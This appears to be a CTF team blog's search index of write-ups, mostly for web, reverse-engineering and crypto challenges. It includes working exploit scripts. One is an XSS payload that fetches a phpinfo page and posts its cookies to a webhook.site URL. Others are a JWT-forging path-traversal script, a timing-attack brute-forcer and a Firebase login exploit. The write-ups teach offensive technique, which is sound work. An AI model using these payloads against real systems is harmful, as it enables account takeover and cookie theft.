json={\u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password}) if response.status_code != 200: print(f\u0026quot;Register failed: {response.status_code}\u0026quot;) exit(response.status_code) def logout(): s.cookies.clear() def create_post(title: str = \u0026quot;title\u0026quot;, content: str = \u0026quot;content\u0026quot;): response = s.post(f\u0026quot;{BASE_URL}/user/posts/create\u0026quot;, json={\u0026quot;title\u0026quot;: title, \u0026quot;data\u0026quot;: content}) if response.status_code != 200: print(f\u0026quot;Post creation failed: {response.status_code}\u0026quot;) exit(response.status_code) def run_tasks(num_tasks, concurrency_limit): results = [] with ThreadPoolExecutor(max_workers=concurrency_limit) as executor: futures = [executor.submit(create_post) for _ in range(num_tasks)] for future in as_completed(futures): results.append(future.result()) return results def download_secret(): r = s.get(f\u0026quot;{BASE_URL}/static../jwt.secret\u0026quot;, stream=True) with open(\u0026quot;jwt.secret\u0026quot;, \u0026quot;wb\u0026quot;) as f: for chunk in r.iter_content(chunk_size=1024): f.write(chunk) def resign_jwt(claims, secret_key): return jwt.encode(claims, secret_key, algorithm='HS256') def get_flag_2(): for _ in range(10): print(\u0026quot;Try: \u0026quot; + str(_),end=\u0026quot;\\r\u0026quot;) run_tasks(num_tasks=50,concurrency_limit=100) response = s.get(f\u0026quot;{BASE_URL}/user/flag\u0026quot;) if \u0026quot;CSCTF{\u0026quot; in response.text: print(\u0026quot;Flag 2 trendzz: \u0026quot; + response.json()['flag']) return True else: logout() username, password = random_string(10), random_string(10) register(username, password) login(username, password) return False def get_flag_1(): download_secret() with open(\u0026quot;./jwt.secret\u0026quot;, \u0026quot;rb\u0026quot;) as file: key = file.read() print(f\u0026quot;Jwt secret leaked: {key}\u0026quot;) original_token = s.cookies.get_dict().get(\u0026quot;accesstoken\u0026quot;) decoded_claims = jwt.decode(original_token, key, algorithms=['HS256']) decoded_claims['role'] = 'admin' new_jwt = resign_jwt(decoded_claims, key) s.cookies.update({\u0026quot;accesstoken\u0026quot;: new_jwt}) response = requests.get(f\u0026quot;{BASE_URL}/admin/dashboard\u0026quot;,cookies={\u0026quot;accesstoken\u0026quot;: new_jwt}) soup = BeautifulSoup(response.text, 'html.parser') postid = soup.find_all('td')[1].text print(f\u0026quot;Post-id: {postid}\u0026quot;) flag = s.get(f\u0026quot;{BASE_URL}/user/posts/{postid}\u0026quot;).json().get(\u0026quot;data\u0026quot;) print(\u0026quot;Flag 1 trendz: \u0026quot; + flag) def main(): print(\u0026quot;Exploiting...\u0026quot;) username, password = random_string(10), random_string(10) register(username, password) login(username, password) get_flag_1() if not get_flag_2(): print(\u0026quot;Flag 2 retrieval failed try again :(\u0026quot;) if __name__ == \u0026quot;__main__\u0026quot;: main() $ flag 1: CSCTF{0a97afb3-64be-4d96-aa52-86a91a2a3c52} $ flag 2: CSCTF{d2426fb5-a93a-4cf2-b353-eac8e0e9cf94} PS: In the first flag I skipped a very funny part, in fact it is not enough to log in only as admin because we will not be shown the flag but a post of an ID that if you remember the flag was also in a precise record initialised in run.sh, if through /user/posts/post-id we view the post we can find the flag\nAuthor: akiidjk ","permalink":"http://localhost:1313/writeups/cyberspace2024/trendz/","title":"Trendz"},{"content":"Trendy windy trigonity Description: have you seen Tan challenge before? see maple version pi documentation!\nIntroduction trendy windy trigonity was a crypto CTF CyberSpace CTF 2024 added during the second wave.\nfrom Crypto.Util.number import bytes_to_long flag = REDACTED print(len(flag)) R = RealField(1000) a, b = bytes_to_long(flag[:len(flag)//2]), bytes_to_long(flag[len(flag)//2:]) x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100) enc = a*cos(x)+b*sin(x) # 38 # 2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45 The challenge uses sagemath to handle high precision floating point numbers, in this case a RealField with 1000 bits of precision. The idea behind the challenge is very simple: find a and b to retrieve the flag.\nSolution enc is a linear combination of cos(x) and sin(x), you know what that means: lattice. Don\u0026rsquo;t forget to scale by the precision as we are working with integers.\nR = RealField(1000) x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100) enc = R(2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45) scale = 2^1000 m = matrix(ZZ, [ [1, 0, scale*cos(x)], [0, 1, scale*sin(x)], [0, 0, -scale*enc], ]) vec = m.LLL()[0] a, b = vec[0], vec[1] print(f'flag: {(a.to_bytes(19) + b.to_bytes(19)).decode()}') $ flag: CSCTF{Trigo_453_Tr3ndy_FuN_Th35e_D4Y5} Author: vympel\n","permalink":"http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/","title":"trendy windy trigonity"},{"content":" CyberSpace CTF 2024 Description Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf!\nUrl Discord Performance Summary CTFs: 21/63 Total points: 2032 Position: 83/830 Rating points: 3.355 Writeups Crypto trendy windy trigonity Web ZipZone FeatureUnlocked Trendz (part 1 and 2) Rev Snake ","permalink":"http://localhost:1313/writeups/cyberspace2024/","title":"CyberSpace CTF 2024"},{"content":"Miku vs. Machine Description: Time limit is 2 seconds for this challenge.\nOfficial resources of challenge\nIntroduction The goal is to distribute the hours of n singers in m shows. Each show has a number of hours equal to l (unknown) and can only change singers once. We also want that each singer will have the same time on stage.\nSolution To solve this problem, I use a greedy strategy that iteratively divides the available singing time among the singers, ensuring that each singer fulfills their required hours.\nT = int(input()) for _ in range(T): n, m = map(int, input().split(' ')) l = n print(l) duration_for_singer = m singers = [duration_for_singer] * n for i in range(len(singers)): while singers[i] \u0026gt; 0: show = [] if (singers[i] - l) \u0026gt;= 0: show.append((l//2, i+1)) show.append((l - l//2, i+1)) singers[i] -= l elif singers[i] \u0026lt; l: show.append((singers[i], i+1)) show.append((l - singers[i], i+2)) singers[i+1] -= l - singers[i] singers[i] = 0 print(f\u0026quot;{show[0][0]} {show[0][1]} {show[1][0]} {show[1][1]}\u0026quot;) Step-by-Step Explanation Initialization The first input T represents the number of test cases. After some experimentation on pen and paper, I noticed that the minimum value of l is equal to the number of singers, so l is set to n. I initialize a list singers of length n, where each element is set to m to represent the remaining singing hours for each singer. Time Distribution Logic I iterate over each singer using a loop. For each singer i, the following steps are performed: While Loop: Continue allocating time to the current singer as long as they have hours remaining (singers[i] \u0026gt; 0). Time Allocation: If the current singer has l or more hours remaining, divide l hours into two chunks: The first chunk is l//2 hours, and the second chunk is l - l//2 hours. Both chunks are allocated to the same singer. Subtract l from the singer\u0026rsquo;s remaining hours. If the current singer has less than l hours remaining: Allocate all remaining hours to the current singer. Allocate the rest of l to the next singer in line (i+2). Subtract the hours from the next singer\u0026rsquo;s total. Output: After each allocation, the result is stored in a list show and printed in the format {hours1} {singer1} {hours2} {singer2}. Output The program prints the number l as the first line for each test case. For each show, the specific distribution of hours between the singers is printed. Example Execution Input n = 4 m = 7\nExecution l = 4 singers = [7, 7, 7, 7]\ni = 0\nshow = (hours:2 singer:1 , hours:2 singer:1) singers = [3, 7, 7, 7]\nshow = ( hours:3 singer:1 , hours:1 singer:2 ) singers = [0, 6, 7, 7]\ni = 1\nshow = ( hours:2 singer:2 , hours:2 singer:2 ) singers = [0, 2, 7, 7]\nshow = ( hours:2 singer:2 , hours:2 singer:3 ) singers = [0, 0, 5, 7]\ni = 2\nshow = ( hours:2 singer:3 , hours:2 singer:3 ) singers = [0, 0, 1, 7]\nshow = ( hours:1 singer:3 , hours:3 singer:4 ) singers = [0, 0, 0, 4]\ni = 3\nshow = ( hours:2 singer:4 , hours:2 singer:4 ) singers = [0, 0, 0, 0] Output 4 2 1 2 1 3 1 1 2 2 2 2 2 2 2 2 3 2 3 2 3 1 3 3 4 2 4 2 4 Conclusion I don\u0026rsquo;t consider this challenge difficult, it\u0026rsquo;s just a greedy algorithm (it takes a lot more to scare a LeetCode boy), but it wasn\u0026rsquo;t immediately clear that the output didn\u0026rsquo;t necessarily have to be the same as that shown in the challenge\u0026rsquo;s PDF , but it was enough to fit the constraints of the problem.\n$ flag: SEKAI{t1nyURL_th1s:_6d696b75766d} Author: Tatore ","permalink":"http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/","title":"Miku vs. Machine"},{"content":"Crack Me Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag?\nIntroduction First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands. The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does.\nAs you can see, the app doesn\u0026rsquo;t allow us to do much more than press the button and log in (without being able to register).\nFirst step The first thing I did was to analyse the apk using an online tool. SISIK\nAnd two interesting pieces of information came up: the first was that it was a react-native app, which helps us a lot in reverse, and that the app was using firebase to handle the backend and probably authentication as well.\nSecond Step The apk is actually a compressed set of java files like a zipper and tar, this then allows us to easily extract the contents with any tool like unzip or 7z (in my case I used extract which is a utils of zsh).\nOnce we have extracted the contents we should find something like this\nAs we can see, we have a huge number of files, but this is where tools like grep or fzf come in.\nThis allows us to search for files based on keywords as in my case: admin,sekai,user,password\nAfter some research we can find us an obfuscated js file named: index.android.bundle\nAfter some research we can find there a file named index.android.bundle with some obfuscated javascript inside, knowing that the application is written in react-native and that inside this file there are keywords like: admin,sekai,password, it is definitely an interesting file.\nThird Step One possible idea might be a react-native app decompiler, which fortunately exists and is easy to find in the case I used: React Native Decompiler\nOnce installed, and running the command react-native-decompiler index.android.bundle -o bundle_deobfuscated, we should find about 800 js files, a bit confusing but understandable with a little effort.\nFourth Step We can reuse grep and fzf to search again for the words of interest.\nBy searching, we manage to find a really interesting file, in which we find the login system that is done in the application.\nfunction _() { var e, o; module25.default(this, _); (e = L.call(this, ...args)).state = { email: \u0026quot;\u0026quot;, password: \u0026quot;\u0026quot;, wrongEmail: false, wrongPwd: false, checked: false, verifying: false, errorTitle: \u0026quot;\u0026quot;, errorMessage: \u0026quot;\u0026quot;, }; e._verifyEmail = ((o = module275.default(function* (t) { t.setState({ verifying: true, }); var n = module478.initializeApp(module477.default), o = module486.getDatabase(n); if ( \u0026quot;admin@sekai.team\u0026quot; !== t.state.email || false === e.validatePassword(t.state.password) ) console.log(\u0026quot;Not an admin account.\u0026quot;); else console.log(\u0026quot;You are an admin...This could be useful.\u0026quot;); var s = module488.getAuth(n); module488 .signInWithEmailAndPassword(s, t.state.email, t.state.password) .then(function (e) { t.setState({ verifying: false, }); var n = module486.ref(o, \u0026quot;users/\u0026quot; + e.user.uid + \u0026quot;/flag\u0026quot;); module486.onValue(n, function () { t.setState({ verifying: false, }); t.setState({ errorTitle: \u0026quot;Hello Admin\u0026quot;, errorMessage: \u0026quot;Keep digging, you are almost there!\u0026quot;, }); t.AlertPro.open(); }); }) .catch(function (e) { // Different error messages }); })), function (e) { return o.apply(this, arguments); }); e.validatePassword = function (e) { if (17 !== e.length) return false; var t = module700.default.enc.Utf8.parse(module456.default.KEY), n = module700.default.enc.Utf8.parse(module456.default.IV); return ( \u0026quot;03afaa672ff078c63d5bdb0ea08be12b09ea53ea822cd2acef36da5b279b9524\u0026quot; === module700.default.AES.encrypt(e, t, { iv: n, }).ciphertext.toString(module700.default.enc.Hex) ); }; } Now let\u0026rsquo;s analyse the operation of the login\u0026hellip; as we can see the email that checks for the login is only one, that of the admin admin@sekai.team and the password is checked with a function in particular validatePassword.\nGoing to analyse the function, we see that the decryption of a hex string is done via AES, but even more important detail, the IV and the Key are imported from another file, by analysing the form in question we can find out the value of the IV and the Key.\nvar _ = { LOGIN: \u0026quot;LOGIN\u0026quot;, EMAIL_PLACEHOLDER: \u0026quot;user@sekai.team\u0026quot;, PASSWORD_PLACEHOLDER: \u0026quot;password\u0026quot;, BEGIN: \u0026quot;CRACKME\u0026quot;, SIGNUP: \u0026quot;SIGN UP\u0026quot;, LOGOUT: \u0026quot;LOGOUT\u0026quot;, KEY: \u0026quot;react_native_expo_version_47.0.0\u0026quot;, IV: \u0026quot;__sekaictf2023__\u0026quot;, }; exports.default = _; This allows us to easily find the password even with a trivial Python script like this one:\nfrom Crypto.Cipher import AES from Crypto.Util.Padding import unpad key = b\u0026quot;react_native_expo_version_47.0.0\u0026quot;[:32] iv = b\u0026quot;__sekaictf2023__\u0026quot; ciphertext = binascii.unhexlify( \u0026quot;03afaa672ff078c63d5bdb0ea08be12b09ea53ea822cd2acef36da5b279b9524\u0026quot;) email = \u0026quot;admin@sekai.team\u0026quot; def decrypt_password(): cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size) password = decrypted.decode('utf-8') assert len(password) == 17 return password def main(): password = decrypt_password() print(\u0026quot;password:\u0026quot;, password) print(\u0026quot;email: \u0026quot;, email) if __name__ == '__main__': main() # OUTPUT: # password: s3cr3t_SEKAI_P@ss # email: admin@sekai.team PERFECT! It\u0026rsquo;s done, we have the flag, we just need to log in to the application\nOR MAYBE NOT 😥\u0026hellip;\nFifth step After a moment\u0026rsquo;s panic, I resume checking the code and how the login system works; indeed, we can see that as soon as the login is complete, a request is made to the database (probably the firebase realtime database)\nSo, in a sense, the flag has been given to us, we just have to catch it on the fly, and there are two ways of doing that.\nUnintended solution The first solution was to intercept the call and answer from the app to the db and vice versa, but using arch with an NVIDIA video card I had trouble with Android emulation, but you can still find a solution. similar solution\nIntended solution (The one i performed) Given my difficulties with the emulation of the application, I continued my search for code, this time also searching Firebase, and managed to find something very interesting\nvar c = { apiKey: \u0026quot;AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk\u0026quot;, authDomain: \u0026quot;crackme-1b52a.firebaseapp.com\u0026quot;, projectId: \u0026quot;crackme-1b52a\u0026quot;, storageBucket: \u0026quot;crackme-1b52a.appspot.com\u0026quot;, messagingSenderId: \u0026quot;544041293350\u0026quot;, appId: \u0026quot;1:544041293350:web:2abc55a6bb408e4ff838e7\u0026quot;, measurementId: \u0026quot;G-RDD86JV32R\u0026quot;, databaseURL: \u0026quot;https://crackme-1b52a-default-rtdb.firebaseio.com\u0026quot;, }; exports.default = c; As you can see, we are faced with a firebase configuration file with sensitive information that allows us to connect directly to the firebase database using js. So in the end we just need to replicate the functions used in the login to get the flag.\nSolution \u0026hellip;\n# filename: exploit.py from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import binascii import subprocess key = b\u0026quot;react_native_expo_version_47.0.0\u0026quot;[:32] iv = b\u0026quot;__sekaictf2023__\u0026quot; ciphertext = binascii.unhexlify( \u0026quot;03afaa672ff078c63d5bdb0ea08be12b09ea53ea822cd2acef36da5b279b9524\u0026quot;) email = \u0026quot;admin@sekai.team\u0026quot; def get_flag(email, password): process = subprocess.Popen( [\u0026quot;node\u0026quot;, \u0026quot;exploit.js\u0026quot;, email, password], stdout=subprocess.PIPE, stderr=subprocess.PIPE ) stdout, stderr = process.communicate() print(stdout.decode('utf-8')) if stderr: print(stderr.decode('utf-8')) def decrypt_password(): cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size) password = decrypted.decode('utf-8') assert len(password) == 17 return password def main(): password = decrypt_password() print(\u0026quot;password:\u0026quot;, password) print(\u0026quot;email: \u0026quot;, email) get_flag(email, password) if __name__ == '__main__': main() // filename: exploit.js import { initializeApp } from \u0026quot;firebase/app\u0026quot;; import { getAuth, signInWithEmailAndPassword } from \u0026quot;firebase/auth\u0026quot;; import { getDatabase, ref, get } from \u0026quot;firebase/database\u0026quot;; import { exit } from \u0026quot;process\u0026quot;; let app = initializeApp({ apiKey: \u0026quot;AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk\u0026quot;, authDomain: \u0026quot;crackme-1b52a.firebaseapp.com\u0026quot;, storageBucket: \u0026quot;crackme-1b52a.appspot.com\u0026quot;, projectId: \u0026quot;crackme-1b52a\u0026quot;, messagingSenderId: \u0026quot;544041293350\u0026quot;, appId: \u0026quot;1:544041293350:web:2abc55a6bb408e4ff838e7\u0026quot;, measurementId: \u0026quot;G-RDD86JV32R\u0026quot;, databaseURL: \u0026quot;https://crackme-1b52a-default-rtdb.firebaseio.com\u0026quot;, }); var db = getDatabase(app); var auth = getAuth(app); async function loginAndGetFlag(email, password) { try { const userCredential = await signInWithEmailAndPassword( auth, email, password ); console.log(\u0026quot;Logged in\u0026quot;); var n = ref(db, \u0026quot;users/\u0026quot; + userCredential.user.uid + \u0026quot;/flag\u0026quot;); const snapshot = await get(n); if (snapshot.exists()) { console.log(\u0026quot;Flag value:\u0026quot;, snapshot.val()); } } catch (error) { console.error(\u0026quot;Error logging in or fetching flag:\u0026quot;, error); } } const args = process.argv.slice(2); const email = args[0]; const password = args[1]; $ flag: SEKAI{15_React_N@71v3_R3v3rs3_H@RD???} Author: akiidjk ","permalink":"http://localhost:1313/writeups/sekaictf2024/crackme/","title":"Crack Me"},{"content":" Some Trick Description: Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen.\nIntroduction Some Trick was the first cryptography challenge in the 2024 edition of SekaiCTF. The challenge implements a key exchange based on a set of permutations and asks us to retrieve the flag that was used as a key in Bob\u0026rsquo;s first encryption.\nimport random from secrets import randbelow, randbits from flag import FLAG CIPHER_SUITE = randbelow(2**256) print(f\u0026quot;oPUN_SASS_SASS_l version 4.0.{CIPHER_SUITE}\u0026quot;) random.seed(CIPHER_SUITE) GSIZE = 8209 GNUM = 79 LIM = GSIZE**GNUM def gen(n): p, i = [0] * n, 0 for j in random.sample(range(1, n), n - 1): p[i], i = j, j return tuple(p) def gexp(g, e): res = tuple(g) while e: if e \u0026amp; 1: res = tuple(res[i] for i in g) e \u0026gt;\u0026gt;= 1 g = tuple(g[i] for i in g) return res def enc(k, m, G): if not G: return m mod = len(G[0]) return gexp(G[0], k % mod)[m % mod] + enc(k // mod, m // mod, G[1:]) * mod def inverse(perm): res = list(perm) for i, v in enumerate(perm): res[v] = i return res G = [gen(GSIZE) for i in range(GNUM)] FLAG = int.from_bytes(FLAG, 'big') left_pad = randbits(randbelow(LIM.bit_length() - FLAG.bit_length())) FLAG = (FLAG \u0026lt;\u0026lt; left_pad.bit_length()) + left_pad FLAG = (randbits(randbelow(LIM.bit_length() - FLAG.bit_length())) \u0026lt;\u0026lt; FLAG.bit_length()) + FLAG bob_key = randbelow(LIM) bob_encr = enc(FLAG, bob_key, G) print(\u0026quot;bob says\u0026quot;, bob_encr) alice_key = randbelow(LIM) alice_encr = enc(bob_encr, alice_key, G) print(\u0026quot;alice says\u0026quot;, alice_encr) bob_decr = enc(alice_encr, bob_key, [inverse(i) for i in G]) print(\u0026quot;bob says\u0026quot;, bob_decr) Solution The first thing we do is retrieve the CIPHER_SUITE variable to set the random seed and reconstruct the set of permutations G, then we care about retrieving bob_key to ultimately recover the flag.\ns = int(r.recvline().strip().decode().split('.')[-1]) random.seed(s) G = [gen(GSIZE) for i in range(GNUM)] def decm(k, G, val): m = 0 for i in range(GNUM): x = val % GSIZE y = gexp(G[i], k % GSIZE).index(x) m += y * GSIZE ** i val = (val - x) // GSIZE k //= GSIZE return m bob_key = decm(alice_encr, G, bob_encr) Recovering the flag takes a bit more work, I\u0026rsquo;ve only managed a brute-force solution which I optimized the best I could; it\u0026rsquo;s not the best but it does the job.\ndef maketable(g): gg = deepcopy(g) # just to be safe table = {} for i in range(GSIZE): table[i] = gg gg = tuple(gg[i] for i in gg) return table def perm(table, e): res = tuple(table[0]) rbits = reversed(bits(e)) ones = filter(lambda x: x != -1, [i if v == 1 else -1 for i, v in enumerate(rbits)]) for index in ones: res = tuple(res[j] for j in table[index]) return res def findk(queue, event, table, start, end, index, want): for k in range(start, min(GSIZE, end)): if event.is_set(): return if perm(table, k)[index] == want: event.set() queue.put(k) return def deck(m, G, val): key = 0 for i in range(GNUM): x = val % GSIZE table = maketable(G[i]) queue = mp.Queue() event = mp.Event() ps = [mp.Process(target=findk, args=(queue, event, table, start, start + (GSIZE // mp.cpu_count()) + 1, m % GSIZE, x)) for start in range(0, GSIZE, GSIZE // mp.cpu_count())][:mp.cpu_count()] for p in ps: p.start() k = queue.get() if k == 0: return key key += k * GSIZE ** i val = (val - x) // GSIZE m //= GSIZE return key + m * GSIZE ** GNUM key = deck(bob_key, G, bob_encr) The recovered key isn\u0026rsquo;t the flag yet, as it went through some transformations first, but it\u0026rsquo;s clear that the flag\u0026rsquo;s bits are still there in the middle, untouched between the two paddings, so we can just do some shifting until we find it.\nfor i in range(key.bit_length()): shifted = key \u0026gt;\u0026gt; i for j in range(1, shifted.bit_length()): keepmask = (1 \u0026lt;\u0026lt; j) - 1 final = shifted \u0026amp; keepmask dec = final.to_bytes(keepmask.bit_length() // 8 + 1) if b'SEKAI{' in dec: start = dec.index(b'SEKAI') end = start + dec[start:].index(b'}') + 1 print(f'flag: {dec[start:end].decode()}') break else: continue break flag: SEKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1} Author: vympel\n","permalink":"http://localhost:1313/writeups/sekaictf2024/sometrick/","title":"Some Trick"},{"content":" SekaiCTF 2024 Description SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side.\nUrl Discord Performance Summary CTFs: 3/34 Total points: 369 Position: 136/1230 Rating points: 2.721 Writeups Rev CrackMe Crypto Some trick PPC (Professional Programming \u0026amp; Coding) Miku vs. Machine ","permalink":"http://localhost:1313/writeups/sekaictf2024/","title":"SekaiCTF 2024"},{"content":"Hello Description: Just to warm you up for the next Fight :\u0026ldquo;D\nIntroduction Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered}\nThe with an ngix server\nMoreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies\nSource # filename: index.py \u0026lt;?php function Enhanced_Trim($inp) { $trimmed = array(\u0026quot;\\r\u0026quot;, \u0026quot;\\n\u0026quot;, \u0026quot;\\t\u0026quot;, \u0026quot;/\u0026quot;, \u0026quot; \u0026quot;); return str_replace($trimmed, \u0026quot;\u0026quot;, $inp); } if(isset($_GET['name'])) { $name=substr($_GET['name'],0,23); echo \u0026quot;Hello, \u0026quot;.Enhanced_Trim($_GET['name']); } ?\u0026gt; # filename: info.py \u0026lt;?php phpinfo(); ?\u0026gt; # filename: ngix.conf user www-data; worker_processes 1; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; server { listen 80; server_name localhost; location / { root /usr/share/nginx/html; index index.php index.html index.htm; } location = /info.php { allow 127.0.0.1; deny all; } location ~ \\.php$ { root /usr/share/nginx/html; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; fastcgi_pass unix:/var/run/php/php8.2-fpm.sock; } } } As you can see, there are 3 main files to focus on\nThe first is the index file where we see how the page works and the filters used, in particular the fact that we cannot use /, spaces, etc. An info.php file which is definitely suspect and not normally needed but probably has a purpose in the challange And the ngix configuration file, which is very important because it is the one that prevents us from accessing info.php in a simple way. Solution This challenge is very nice in my opinion, neither too difficult nor too complex, it mixes different vulnerabilities in a really nice way\u0026hellip;\nThe first one is designed to catch the cookie, because in the configuration of bot.js we see that the cookie is set to httpOnly, which makes the extraction much more difficult, but looking a little online we understand why it is present, that info.php in fact the function phpinfo() as well as showing several parameters of the php configuration and other information also shows the cookies present at that time\u0026hellip; SO THAT\u0026rsquo;S THE OBJECTIVE, to get your own bot to open /info.php.\nBut how can we do this?\nThe first step is to be able to inject a payload that opens info.php and sends the file somewhere.\nThe only entry point we see is ? name=', which is not sanitised in the best way, in fact by doing \u0026lt;h1\u0026gt;BTC (we make sure that the tag closes itself, otherwise the final / will be filtered out) we notice that the h1 is rendered and this is a first sign that we can do an xss, although we notice that the classic \u0026lt;script\u0026gt;alert('ByteTheCookies') doesn\u0026rsquo;t work, Probably some php configuration or some police, so the xss would be a bit more complex, but we can use the onerror parameter of tag img with some modifications, in fact, if we insert a classic \u0026lt;img src='invalid. jpg' onerror=\u0026quot;alert('ByteTheCookies')\u0026quot;, it will be sanitised by removing the spaces and will not allow the xss to run. But we can work around this very easily, in fact by looking for some workarounds on HackTricks and trying some of them, we find that the payload \u0026lt;img%0Csrc=\u0026quot;invalid.jpg\u0026quot;onerror=\u0026quot;alert('ByteTheCookies')\u0026quot; works.\nGOOD we managed to bypass the xss now we have to create the payload we need\u0026hellip;\nSpecifically, I used: fetch('{target}').then(r=\u0026gt;r.text()).then(t=\u0026gt;{fetch('{url_webhook}',{method:'POST',body:(f=new FormData(),f.append('file',new Blob([t],{type:'text/plain'}),'phpinfo.txt'),f)});console.log('Data sended');});\nThis payload makes an initial request and sends the content to a webhook in the form of a file, so it\u0026rsquo;s all very simple.\nHowever, the problem is that when this payload is sent, it will not work because the URLs contain / which will be removed and this is a significant problem.\nHowever, to get around this we can use a very simple trick, we just need to encode the payload in base64 beforehand and use an eval(atob(payload)).\nBy sending this in the URL, we can make the payload work without any problems. DONE, RIGHT?\nNo, because analysing the nginx configuration we notice an important detail\nlocation = /info.php { allow 127.0.0.1; deny all; } As we can see, /info.php is only accessible from localhost, and spoiler, our bot is not on the same server as the challenge.\nThis may seem like a big obstacle, but in reality, if we search the web for ngix workarounds, we can find something very interesting.\nAs we can see on Hacktricks, if we insert an accessible page immediately after a non-accessible page in the ngix URL, it will redirect us correctly to the non-accessible page, which is exactly what we need.\nSo the final solution becomes:\n# filename: exploit.py import base64 url = \u0026quot;http://idek-hello.chal.idek.team:1337/\u0026quot; url_webhook = 'https://webhook.site/8b10c871-1e0b-4050-8 2e3-e102a73da54e' url_admin = 'https://admin-bot.idek.team/idek-hello' def main(): # Bypass hacktrics https://book.hacktricks.xyz/pentesting-web/proxy-waf-protections-bypass#php-fpm target = \u0026quot;http://idek-hello.chal.idek.team:1337/info.php/index.php\u0026quot; exploit = (\u0026quot;fetch('\u0026quot; + target + \u0026quot;').then(r=\u0026gt;r.text()).then(t=\u0026gt;{fetch('\u0026quot;+url_webhook+\u0026quot;',{method:'POST',body:(f=new FormData(),f.append('file',new Blob([t],{type:'text/plain'}),'phpinfo.txt'),f)});console.log('Dati inviati al webhook');});\u0026quot;).encode() main_payload = base64.b64encode(exploit).decode() payload = \u0026quot;\u0026quot;\u0026quot;\u0026lt;img%0Csrc=\u0026quot;invalid.jpg\u0026quot;onerror=\u0026quot;eval(atob('\u0026quot;\u0026quot;\u0026quot; + main_payload + \u0026quot;\u0026quot;\u0026quot;'));\u0026quot;\u0026gt;\u0026quot;\u0026quot;\u0026quot; # Bypassed with %0C final_url_whith_exploit = f\u0026quot;{url}?name={payload}\u0026quot; print(f\u0026quot;Final url: {final_url_whith_exploit}\u0026quot;) # Send the url on the admin bot and download the file on webhook.site print(f\u0026quot;Now copy and paste the url on the admin bot: {url_admin} and send the requeste to the admin bot, after this go to the webhook.site and download the file and search the flag in the file\u0026quot;) if __name__ == '__main__': main() $ flag: idek{Ghazy_N3gm_Elbalad} Author: akiidjk ","permalink":"http://localhost:1313/writeups/idekctf2024/hello/","title":"Hello"},{"content":" IdekCTF 2024 Description idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories.\nUrl Discord Performance Summary CTFs: 6/35 Total points: 732 Position: 101/1070 Rating points: 5.405 Writeups Web Hello ","permalink":"http://localhost:1313/writeups/idekctf2024/","title":"IdekCTF 2024"},{"content":"Kirbytime Description: Welcome to Kirby\u0026rsquo;s Website.\nIntroduction We find ourselves in front of a very pink Kirby-themed page, where we are asked to enter a password of 7 characters.\nSource # filename: main.py import sqlite3 from flask import Flask, request, redirect, render_template import time app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def login(): message = None if request.method == 'POST': password = request.form['password'] real = 'REDACTED' if len(password) != 7: return render_template('login.html', message=\u0026quot;you need 7 chars\u0026quot;) for i in range(len(password)): if password[i] != real[i]: message = \u0026quot;incorrect\u0026quot; return render_template('login.html', message=message) else: time.sleep(1) if password == real: message = \u0026quot;yayy! hi kirby\u0026quot; return render_template('login.html', message=message) if __name__ == '__main__': app.run(host='0.0.0.0') As we can see in the code at the \u0026lsquo;/\u0026rsquo; endpoint, when the method and post, it takes the password value from the form, checks the length to be 7 and starts iterating over each character to check if it is correct, it triggers a time.sleep(1) otherwise it returns an error.\nSolution The solution is very simple, in fact we can compare it to a kind of time based, when the character is correct we know that the request will take n seconds to return depending on the number of correct characters. With this script we can easily find the flag, but only with a little patience (I recommend a cup of coffee in between).\n# filename: exploit.py import string import requests url = 'redacted' alphabet = string.printable length = 7 correct_flag = 'a' * length correct_letter = 0 flag_list = list(correct_flag) number_of_second_to_wait = 7 while (correct_letter != length): for letter in alphabet: flag_list[correct_letter] = letter flag = \u0026quot;\u0026quot;.join(flag_list) print(flag) payload = {\u0026quot;password\u0026quot;: flag} r = requests.post(url=url, data=payload) assert r.status_code == 200 print(\u0026quot;Time: \u0026quot;, r.elapsed.total_seconds()) if r.elapsed.total_seconds() \u0026gt;= number_of_second_to_wait: correct_letter = correct_letter + 1 